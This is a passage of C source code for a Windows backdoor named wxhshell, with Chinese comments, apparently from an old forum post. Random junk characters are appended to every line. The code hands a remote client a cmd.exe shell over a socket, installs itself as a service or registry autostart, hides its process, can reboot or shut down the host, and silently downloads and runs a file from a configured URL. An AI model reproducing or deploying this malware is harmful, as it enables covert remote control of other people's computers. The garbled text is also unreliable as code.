  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&m%=i.qK  
  } KomF)KQ2r  
  else { )jH"6my_  
XJQ[aU"[]N  
    switch(cmd[0]) { N\vc<Zpn  
  !qcR5yk`2  
  // 帮助 U{;i864:}  
  case '?': { 8IX6MfR}C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mxWaX b  
    break; UA/3lH}  
  } D8h~?phK  
  // 安装 r^@*Cir  
  case 'i': { [<%yUy  
    if(Install()) u54+oh|,M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;@s  
    else l"MEX/   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K=~h1qV:  
    break; b\^.5SEw  
    } >N*QK6"=|  
  // 卸载 4];NX  
  case 'r': { dJ|]W|q<  
    if(Uninstall()) PGybX:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YsTfv1~z#  
    else zX5p'8-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d8x$NW-s  
    break; sQ`8L+oY  
    } / '7WL[<  
  // 显示 wxhshell 所在路径 Ek 4aC3  
  case 'p': { ?d_Cy\G  
    char svExeFile[MAX_PATH]; wPW9bu  
    strcpy(svExeFile,"\n\r"); a. gu  
      strcat(svExeFile,ExeFile); ;[6u79;I  
        send(wsh,svExeFile,strlen(svExeFile),0); GWhb@K  
    break; bg$e80  
    } N),Zb^~nw  
  // 重启 3)T5}_  
  case 'b': { c\R! z&y~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PvA%c<z  
    if(Boot(REBOOT)) 3rWqt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -m__I U  
    else { lI D5mg3 1  
    closesocket(wsh); [szwPNQ_  
    ExitThread(0); FUHjY  
    } (C. 1'<]  
    break; #cApk  
    } *{tJ3<t(1  
  // 关机 ha(hG3C  
  case 'd': { HFf| >&c&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]])i"oew  
    if(Boot(SHUTDOWN)) HDC`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PCFm@S@Q  
    else { #}A!Bk  
    closesocket(wsh); {~=[d`t  
    ExitThread(0); BgE]xm  
    } Xe%n.DW m  
    break; 8HWY]:| oh  
    } TM"i9a? ;  
  // 获取shell MLp5Y\8*  
  case 's': { CE?R/uNo{  
    CmdShell(wsh); [,fMh $t  
    closesocket(wsh); "r|O /   
    ExitThread(0); Et7AAV*8g  
    break; r_ o2d8  
  } 5:AAqMa  
  // 退出 GHoPv-#  
  case 'x': { lk+)-J-lj'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?C4a,%  
    CloseIt(wsh); 9aXm}  
    break; .*y{[."!  
    } b^%4_[uRu  
  // 离开  EGV@L#  
  case 'q': { ebQYk$@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >w V$az  
    closesocket(wsh); >u6kT\|^C  
    WSACleanup(); iedoL0#  
    exit(1); :qnRiK]  
    break; JM M\  
        } VNMhtwmK,  
  } jCy2bE  
  } %5uuB4P&|$  
Z &PwNr/  
  // 提示信息 578Dl(I#)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jIEK[vJ`  
} txliZ|.O  
  } TpnkJygIm  
T$k) ^'  
  return; =JEnK_@?K\  
} 0$P40 7  
0w\gxd~'  
// shell模块句柄 RJGf@am&  
int CmdShell(SOCKET sock) n RXf\*"3  
{ (3 _2h4O  
STARTUPINFO si; E]+W^ VG  
ZeroMemory(&si,sizeof(si)); :k JSu{p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) I@gy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AU)Qk$c  
PROCESS_INFORMATION ProcessInfo; y/Nvts2!C  
char cmdline[]="cmd"; Z|3l2ucl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bluC P|  
  return 0; *X,vu2(I-=  
} C YnBZ  
r{Xh]U&>k  
// 自身启动模式 /LJ?JwAvg5  
int StartFromService(void) bk"` hq  
{ BPC$ v\a  
typedef struct g*8sh  
{ ~r=u1]z  
  DWORD ExitStatus; |~'{ [?a*  
  DWORD PebBaseAddress; k:af  
  DWORD AffinityMask; r$*k-c9Bf  
  DWORD BasePriority;  #p\sw  
  ULONG UniqueProcessId; P 0,]Ud  
  ULONG InheritedFromUniqueProcessId; 9B<y w.  
}   PROCESS_BASIC_INFORMATION; RJ@d_~%U  
o%CBSm]  
PROCNTQSIP NtQueryInformationProcess; 4(o0I~hpB?  
X8Gw8^t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .-nA#/2-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3``$yWWg  
G&:YgwG  
  HANDLE             hProcess; t7n*kiN<q  
  PROCESS_BASIC_INFORMATION pbi; haB$W 4x  
3A'd7FJ0G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EjvxfqPv  
  if(NULL == hInst ) return 0; ^W'\8L  
e}7qZ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %B#Ewt@[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L(}T-.,Slr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $(C71M|CT  
:#b[gWl0Ru  
  if (!NtQueryInformationProcess) return 0; utRvE(IbmV  
a_FJNzL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {iHC;a5gb$  
  if(!hProcess) return 0;  V18w  
.lRO; D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y8 `H*s@  
Cm>8r5LG  
  CloseHandle(hProcess); U<o,`y[Tn  
00<iv"8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wgI$'tI  
if(hProcess==NULL) return 0; 3/4xP|  
>b<br  
HMODULE hMod; Q +qN`  
char procName[255]; bCc^)o/w  
unsigned long cbNeeded; ?6~RGg  
S1zV.]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !%]]lxi  
MNkysB(  
  CloseHandle(hProcess); 2}+V3/  
%z1WdiC  
if(strstr(procName,"services")) return 1; // 以服务启动 oDA1#-  
RM QlciG  
  return 0; // 注册表启动 [bE9Y;  
} -s4qm)\  
zn@tLLX  
// 主模块 F5&4x"c  
int StartWxhshell(LPSTR lpCmdLine) Ma wio5  
{ { 5h6nYu  
  SOCKET wsl; %-H  
BOOL val=TRUE; Vk8:;Hj  
  int port=0; K*p^Gs,  
  struct sockaddr_in door; [+>$'Du  
v ;{s@CM m  
  if(wscfg.ws_autoins) Install(); oZP:}= F  
eEupqOF*:W  
port=atoi(lpCmdLine); R6CxNPRJ  
JF!!)6!2#  
if(port<=0) port=wscfg.ws_port;  8tLkJOu  
hA)3Ah*  
  WSADATA data; LV'v7 2yUH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ij/c@#q.  
P}JA"V&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nqewtn9n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 42 8kC,  
  door.sin_family = AF_INET; =<R77rnY&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V=.lpj9m  
  door.sin_port = htons(port); aCy2 .Qn  
naM4X@jl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rVFAwbR  
closesocket(wsl); N!r@M."  
return 1; xlS t  
} ~ia#=|1}  
980[]&(  
  if(listen(wsl,2) == INVALID_SOCKET) { $UO7AHk  
closesocket(wsl); - C8 h$P  
return 1; ; #e-pkV  
} c :hOQZ  
  Wxhshell(wsl); lv,8NmP5  
  WSACleanup(); f4]nz:2  
*#dXW\8qu  
return 0; pO GVD  
;./Tv84I^  
} nBZqhtr  
_9""3O  
// 以NT服务方式启动 '<$(*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Omc Ed  
{ dt^yEapjM  
DWORD   status = 0; ATH0n>)  
  DWORD   specificError = 0xfffffff; cfa#a!Y4  
W!V06.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9:4P7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x1?p+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Tt/,Hl?D  
  serviceStatus.dwWin32ExitCode     = 0; 2t/ba3Rfk  
  serviceStatus.dwServiceSpecificExitCode = 0; xlv:+  
  serviceStatus.dwCheckPoint       = 0; % UY=VE\F  
  serviceStatus.dwWaitHint       = 0; IiS1ubNtZ  
v )4 kS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q/-YLf.  
  if (hServiceStatusHandle==0) return; wz T+V,   
__'Z0?.4#  
status = GetLastError(); +#,t  
  if (status!=NO_ERROR) auaFP-$`f  
{ ZXe[>H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b]Oc6zR,,~  
    serviceStatus.dwCheckPoint       = 0; 2mVH*\D  
    serviceStatus.dwWaitHint       = 0; i#iY;R8  
    serviceStatus.dwWin32ExitCode     = status; )6^b\`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vr`UF0_3q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z35n3q  
    return; ke'p8Gz  
  } VqbMFr<k  
9{?<.%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 24>{T5E  
  serviceStatus.dwCheckPoint       = 0; j?3J-}XC  
  serviceStatus.dwWaitHint       = 0; L&q~5 9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ps_CQh0  
} >0T0K`o  
}0}J  
// 处理NT服务事件,比如:启动、停止 : :e=6i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V]`V3cy1+3  
{ !V7VM_}@Y  
switch(fdwControl) ^7~=+0cF]  
{ mJ !}!~:  
case SERVICE_CONTROL_STOP: A\.k['!  
  serviceStatus.dwWin32ExitCode = 0; <@ (HQuL#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kSoAnJ|  
  serviceStatus.dwCheckPoint   = 0; N y7VIh|  
  serviceStatus.dwWaitHint     = 0; a}El!7RO0  
  { (;V]3CtU*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x.>z2.  
  } K;gm^  
  return; C} Ewi-  
case SERVICE_CONTROL_PAUSE:  @X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LHR%dt|M  
  break; wC..LdSR  
case SERVICE_CONTROL_CONTINUE: 12;" K?7{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dcYUw]  
  break; ]'DtuT?Z  
case SERVICE_CONTROL_INTERROGATE: 6aXsRhQ~  
  break; ,R3D  
}; d\'M ~VQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rS{Rzs^@  
} nRb#M  
6pxj9@X+  
// 标准应用程序主函数 64h r| v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @fPiGu`L  
{ 2p(K0PtX  
O BF5Tl4  
// 获取操作系统版本 T->O5t c  
OsIsNt=GetOsVer(); Y&]pC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ab cmI*y  
,Es5PmV@$%  
  // 从命令行安装 2px l!  
  if(strpbrk(lpCmdLine,"iI")) Install(); /vwGSuk._  
}NiJDs  
  // 下载执行文件 onHUi]yYu{  
if(wscfg.ws_downexe) { u L/*,[}'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f*bs{H'5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 3s.p'  
} `+k&]z$m  
\CX`PZ><  
if(!OsIsNt) { adHHnH`,  
// 如果时win9x,隐藏进程并且设置为注册表启动 _+.z2} M  
HideProc(); .ye5 ;A}  
StartWxhshell(lpCmdLine); P;mmK&&  
} )7*Apy==x  
else JG0TbM1(Bt  
  if(StartFromService()) 9Z6O{ >  
  // 以服务方式启动  Z:u7`%  
  StartServiceCtrlDispatcher(DispatchTable); AIN_.=]"?  
else ~^KemwogPN  
  // 普通方式启动 %~}9#0h)  
  StartWxhshell(lpCmdLine); `SFI\Y+WDT  
&yp_wW-  
return 0; y [.0L!C {  
}
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只看该作者 1 发表于: 2006-10-10
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